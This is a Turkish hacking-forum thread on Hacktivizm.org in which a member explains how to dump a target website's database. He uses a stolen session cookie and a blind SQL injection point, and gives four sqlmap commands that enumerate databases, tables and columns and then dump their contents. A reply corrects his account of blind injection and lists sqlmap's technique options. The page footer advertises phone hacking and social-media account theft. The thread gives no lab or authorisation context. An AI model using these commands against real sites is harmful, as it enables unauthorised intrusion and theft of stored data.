Güvenli Ticaret

Hacktivizm içerisinde gerçekleştirmeyi düşündüğünüz tüm ticaretlerde, dikkat ve önlem sahibi olun.

Daha Fazlası

Sorunum Var

Forum içerisinde yaşadığınız tüm sorunlar için sohbet alanını ya da sayfanın altında belirtilen Telegram kanalımızı kullanın.

Daha Fazlası

Doğru Türkçe ve Kurallar

Türkçemizi her bakımdan doğru kullanın ve forum kurallarına uygun paylaşımlar yapmaya özen gösterin.

Daha Fazlası

Blind SQL & Cookie İnjection Açığı Kullanımı (Video)

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

nightstalker

Bronz Üye
Katılım
11 Nisan 2021
Mesajlar
272
Tepkime puanı
183
İlgi Alanlarınız
elektronik
Cinsiyet
  1. Erkek

İstek Üzerine yazılı kısa bir anlatım yapacagım arkadaşlar.
Hedef sitemizin cookie'sini çektiğinizi ve blind SQL-i açığını buldugunuzu varsayarak anlatımıma geçiyorum.Aslında tek yaptıgımız şey --cookie parametresi ile hedef sitenin cookiesini tanımlayıp blind açığımız ile hedef sitemizin veritabanına sızmaktı..

Peki nasıl yaptık ?


Burada cookie bilgisini ve Blind SQL-i açığını tanımladık ve veritabanını çektik.


Kod:
sqlmap --cookie="cookiebilgisi" -u "Blind SQL-i" --dbs

Burada çektiğimiz veritabanının içerisindeki tableları çektik.


Kod:
sqlmap --cookie="cookiebilgisi" -u "Blind SQL-i" -D database --Tables

Burada tableların içerisindeki Column'ları çektik.


Kod:
sqlmap --cookie="cookiebilgisi" -u "Blind SQL-i" -D database -T tables --columns

Son olarak columnlarımızın içerisindeki bilgiyi çekiyoruz.


Kod:
sqlmap --cookie="cookiebilgisi" -u "Blind SQL-i" -D database -T tables -C columns --dump
 
R

RootAyyıldız

sevgili dostum bilmeden birşeyi biliyor gibi anlatmak en büyük yanlıştır burada blind sql için yapılan bir saldırı yok bak güzel dostum çok basit bir tool sqlmap onu biraz araştırın açık kaynak kodlu bir yazılım o video da blind sql için kullanılan her hangi bir parametre yok yani burada blind sql methodu blind sql kullanımı yok sqlmap kendisi otomatik olarak saldırı tipini blind sql olarak seçiyor sqlmap içersinde --technique= parametrisi var burada gönderilecek olan vuln tipi payloadları belirtisiniz daha hızlı olması için
  • B: Boolean-based blind
  • E: Error-based
  • U: Union query-based
  • S: Stacked queries
  • T: Time-based blind
  • Q: Inline queries
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

Konuyu görüntüleyen kullanıcılar:

Hukuksal Sorunlar İçin[email protected]
For Legal Problems[email protected]
Hacktivizm.Org
Hacktivizm.Org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Hacktivizm.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Hacktivizm saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Hacktivizm üyelerinin yaptığı bireysel hack faaliyetlerinden Hacktivizm sorumlu değildir. Sitelerinize Hacktivizm ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz. Sitemizde yer alan içerikler hakkındaki şikayetlerinizi Buradan iletişime geçerek bildirebilirsiniz. Please Report Abuse, DMCA, Scamming, Harassment, Crack or any Illegal Activities to [email protected]
Hack Forum
Hacktivizm, 2020 yılında kurulmuş bir siber güvenlik forum sitesidir aynı zamanda hack forumu,hack sitesi,hack forum ve Türk hack forumudur. Hack forum aramalarında ilk sayfada olan bu hack forum sitesi gün geçtikçe gelişmektedir. Hack Forum kelimesinin anlamı ise, hacker kültürü ve bilgisayar güvenliği ile ilgili tartışmalara adanmış bir İnternet forumudur. Web sitesi, analiz şirketi Alexa Internet tarafından web trafiği açısından "Hacking" kategorisinde bir numaralı web sitesi olarak yer almaktadır.

Telefon Takip - İphone Hackleme - PDF Şifre Kırma - Telefon Hackleme - İnstagram Hesap Çalma - Twitter Hesap Çalma - Facebook Hesap Çalma - Wifi Şifre Kırma - Telefon Şifresi Kırma

Hacktivizm Twitter Hacktivizm Youtube Hacktivizm İnstagram Hacktivizm Telegram

Üst